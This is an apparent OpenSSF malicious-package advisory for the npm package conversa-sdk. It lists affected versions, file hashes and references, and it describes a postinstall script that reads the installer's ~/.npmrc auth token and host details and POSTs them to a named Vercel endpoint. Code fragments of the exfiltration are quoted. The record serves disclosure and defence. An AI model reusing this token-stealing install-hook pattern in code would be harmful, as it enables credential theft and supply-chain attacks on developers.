MAL-2026-6185Malicious code in conversa-sdk (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | conversa-sdk | 1.0.0 |
| npm | conversa-sdk | 1.0.4 |
| npm | conversa-sdk | 1.0.5 |
| npm | conversa-sdk | 1.0.6 |
| npm | conversa-sdk | 1.0.8 |
| npm | conversa-sdk | 1.0.9 |
| npm | conversa-sdk | 2.0.0 |
| npm | conversa-sdk | 2.0.2 |
| npm | conversa-sdk | 2.0.3 |
| npm | conversa-sdk | 2.0.4 |
{"schema_version":"1.7.4","id":"MAL-2026-6185","published":"2026-06-19T04:57:48Z","modified":"2026-08-25T05:17:36.358497899Z","aliases":["GHSA-8m82-6fp4-38m4"],"summary":"Malicious code in conversa-sdk (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0)\nOn `npm install`, postinstall.js unconditionally reads the installer's `~/.npmrc` (which typically contains `//registry.npmjs.org/:_authToken=...`) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to `https://chatbot-lac-eight-78.vercel.app/api/validate`. The relevant code is at postinstall.js:23 (`fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')`) and postinstall.js:27-42 (`JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... })` sent via `https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })`). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.\n\n## Source: ghsa-malware (95c0fee27449fa1e9e575db6bd62403fb682239522e3be4a8a7209d4f9627940)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"conversa-sdk","ecosystem":"npm"},"versions":["2.0.2","1.0.9","2.0.4","2.0.3","2.0.0","1.0.8","1.0.6","1.0.5","1.0.4","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"postinstall.js","sha256":"90b6bf2883402e4afa08dabfb7b6060aaf3edd3319a7455ad3a805d2dc73c553","tlsh":"093142f345aed93747b44696e098a426ab67c305374ab870b15c014c6bc93dc4133afc"}],"package_integrity":[{"filename":"conversa-sdk-2.0.2.tgz","hashes":{"sha1":"cb06df99f1333774140ee036080b21762d83233b","sha512_sri":"sha512-IQLWC4QqDDK+pUZ6HfKVzgzz11G7JsFxGRMx+LdmQTb4KSpU3/TiWkG0Ym7jLHa37yrYqPiui9cD/jVtm3zgnw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/2.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/1.0.9"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8m82-6fp4-38m4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/2.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/2.0.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/2.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/1.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/1.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/1.0.8"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/1.0.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/conversa-sdk/v/1.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007051","import_time":"2026-06-19T05:16:49.353152005Z","modified_time":"2026-06-19T04:57:54Z","sha256":"9eb25af4493d35dea152523e50bcb419ce6e6147ba1725d8d5d15d20ff2a77a6","source":"amazon-inspector","versions":["2.0.2"]},{"id":"IN-MAL-2026-007050","import_time":"2026-06-19T05:16:49.197833796Z","modified_time":"2026-06-19T04:57:48Z","sha256":"baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0","source":"amazon-inspector","versions":["1.0.9"]},{"id":"GHSA-8m82-6fp4-38m4","import_time":"2026-08-24T03:35:20.530876819Z","modified_time":"2026-08-24T03:12:55Z","sha256":"95c0fee27449fa1e9e575db6bd62403fb682239522e3be4a8a7209d4f9627940","source":"ghsa-malware","versions":["2.0.4","2.0.3","2.0.2","2.0.0","1.0.9","1.0.8","1.0.6","1.0.5","1.0.4","1.0.0"]},{"id":"IN-MAL-2026-018588","import_time":"2026-08-24T05:20:12.362462293Z","modified_time":"2026-08-24T05:04:21Z","sha256":"d21c5a4e964234127b31bebb89b68b613d7e200ca5f5f90f398259c387a2d83b","source":"amazon-inspector","versions":["2.0.3"]},{"id":"IN-MAL-2026-018675","import_time":"2026-08-25T05:15:47.596599369Z","modified_time":"2026-08-25T04:56:06Z","sha256":"0e3b8ecfec2dcfc026041b15bd5c8e9b861088c01e6d0e475a3194ca61b3d039","source":"amazon-inspector","versions":["2.0.4"]},{"id":"IN-MAL-2026-018676","import_time":"2026-08-25T05:15:47.650652841Z","modified_time":"2026-08-25T04:56:12Z","sha256":"1f94b6bfa98a4915610afb134d5a5cbe27cd734d3deb9a4515d347612e06a371","source":"amazon-inspector","versions":["2.0.0"]},{"id":"IN-MAL-2026-018672","import_time":"2026-08-25T05:15:47.440758198Z","modified_time":"2026-08-25T04:55:39Z","sha256":"a3283a82d5963e5fea3e4b5aebeedc4d9e8b6a5c2f259d2f993edf9b449263e2","source":"amazon-inspector","versions":["1.0.6"]},{"id":"IN-MAL-2026-018674","import_time":"2026-08-25T05:15:47.545426773Z","modified_time":"2026-08-25T04:55:58Z","sha256":"b44756db5f3aa4e001f8d91cfe0ddf13d6727a937e3bfd38d44de63f58b6141b","source":"amazon-inspector","versions":["1.0.5"]},{"id":"IN-MAL-2026-018677","import_time":"2026-08-25T05:15:47.70342708Z","modified_time":"2026-08-25T04:56:20Z","sha256":"d314ded9bc3bc86831d77c00d9818513dce6db40f37b3e611008917abec69895","source":"amazon-inspector","versions":["1.0.8"]},{"id":"IN-MAL-2026-018673","import_time":"2026-08-25T05:15:47.492522483Z","modified_time":"2026-08-25T04:55:47Z","sha256":"e1b1a8557140fe10949a250e2d400b985981ff62d684480ef58084bf33aa1680","source":"amazon-inspector","versions":["1.0.4"]},{"id":"IN-MAL-2026-018670","import_time":"2026-08-25T05:15:47.330003241Z","modified_time":"2026-08-25T04:55:23Z","sha256":"ffb3c13f0c888c2cd16e77fb461ed0c02dea817c6ae3846e0409a8f0dc242825","source":"amazon-inspector","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0